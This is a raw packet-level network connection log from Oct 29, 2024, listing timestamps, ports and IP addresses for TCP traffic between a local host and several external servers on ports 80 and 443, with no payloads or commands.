Oct 29, 2024 20:35:22.172907114 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.172926903 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.173291922 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.173379898 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.173568010 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.173573017 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.173625946 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.173631907 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.173999071 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.174007893 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.174060106 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.174113989 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.174680948 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.174745083 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.174988985 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.175049067 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.175338984 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.175429106 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.175827026 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.175893068 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.176099062 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.176151037 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.176597118 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.176601887 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.176798105 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.176805019 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.177014112 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.177018881 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.177109003 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.177119017 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.177227974 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.177237988 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.177294016 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.177776098 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.178011894 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.178205967 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.178272009 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.178503990 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.219329119 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.223320961 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.252289057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252351999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252382040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252393961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252405882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252413988 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.252418995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252430916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252443075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.252444029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252454996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252465963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252477884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252491951 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.252495050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.252495050 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.252543926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.252543926 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.275341988 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.275377989 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.275557041 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.275777102 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.275788069 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.275805950 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.275820017 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.276141882 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276141882 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276173115 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276176929 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.276289940 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276310921 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.276329994 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276364088 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276844025 CET	49932	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.276868105 CET	443	49932	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.277097940 CET	49934	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.277107000 CET	443	49934	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.277393103 CET	49933	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.277405024 CET	443	49933	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.277633905 CET	49935	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.277643919 CET	443	49935	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.277723074 CET	49936	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.277734041 CET	443	49936	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.296236038 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.296309948 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.296421051 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.296654940 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.296672106 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.296683073 CET	49917	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.296689034 CET	443	49917	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.299977064 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.300029039 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.300091982 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.300277948 CET	49937	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.300292969 CET	443	49937	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.300836086 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.300906897 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.301306009 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.301459074 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.301470995 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.301486969 CET	49918	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.301491976 CET	443	49918	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.304542065 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.304577112 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.304641962 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.304773092 CET	49938	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:22.304786921 CET	443	49938	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:22.321908951 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.321991920 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.322005987 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.323360920 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.323862076 CET	49923	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.323887110 CET	443	49923	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.326174974 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.326272011 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.326297045 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.326375008 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.326679945 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.327914000 CET	49924	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.327936888 CET	443	49924	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.328768969 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.328845978 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.328905106 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.328905106 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.329871893 CET	49925	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.329891920 CET	443	49925	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.330739975 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.330780029 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.330826044 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.330845118 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.330868006 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.330907106 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.331851006 CET	49922	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.331860065 CET	443	49922	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.387340069 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.387340069 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.387418985 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.387995958 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.405118942 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405158997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405174017 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405189037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405213118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405216932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405216932 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405224085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405236006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405247927 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405258894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405277014 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405287981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405292034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405292034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405298948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405312061 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405322075 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405323982 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405334949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405348063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405371904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405371904 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405467033 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405477047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405478954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405488968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405502081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.405519962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405563116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.405563116 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.419136047 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.419167042 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.419203043 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.419235945 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.419289112 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.419306040 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.419364929 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.436582088 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436620951 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436630011 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436693907 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436709881 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436721087 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.436721087 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.436729908 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436743021 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.436745882 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.436762094 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.436781883 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.441076040 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.441109896 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.441168070 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.441200972 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.441219091 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.441241026 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.441745043 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.441806078 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.450129986 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450144053 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450172901 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450182915 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450198889 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.450205088 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450211048 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450337887 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.450711966 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.450767994 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.556591988 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.556607008 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.556696892 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.556711912 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.556866884 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.557286024 CET	49921	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.557305098 CET	443	49921	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.557811975 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.557847977 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.557894945 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.557928085 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.557945967 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.557955980 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.557964087 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.557972908 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.558003902 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.558012009 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.558064938 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.558109045 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.567039967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567075968 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567089081 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567090034 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567131996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567131996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567234993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567245960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567257881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567269087 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567281008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567296982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567296982 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567334890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567334890 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567339897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567351103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567363024 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567373037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567400932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567411900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567423105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567434072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567442894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567442894 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567444086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567456961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567538023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567538023 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567609072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567620993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567646027 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567734003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567745924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567756891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567770004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567781925 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567794085 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567802906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567802906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567802906 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567806959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567819118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567831993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567874908 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567887068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567905903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567905903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567905903 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.567914009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567925930 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.567948103 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.568006039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.568062067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.568062067 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.571674109 CET	49920	443	192.168.2.5	23.47.50.133
Oct 29, 2024 20:35:22.571707964 CET	443	49920	23.47.50.133	192.168.2.5
Oct 29, 2024 20:35:22.696190119 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.697079897 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.697099924 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.697489023 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.697824955 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.697890997 CET	443	49926	13.107.246.57	192.168.2.5
Oct 29, 2024 20:35:22.697990894 CET	49926	443	192.168.2.5	13.107.246.57
Oct 29, 2024 20:35:22.729566097 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729585886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729677916 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.729692936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729705095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729760885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.729760885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.729768038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729779005 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729789972 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729800940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729814053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729851961 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.729851961 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.729897976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729908943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729918957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729929924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729940891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729958057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.729974031 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.729974031 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730040073 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730082035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730142117 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730153084 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730175018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730175018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730222940 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730240107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730251074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730262995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730276108 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730287075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730298996 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730304003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730304003 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730385065 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730479002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730489969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730525017 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730593920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730604887 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730614901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730626106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730637074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730648041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730659008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:22.730669022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730669022 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:22.730681896 CET	80	49863	185.215.113.206	192.168.2.5
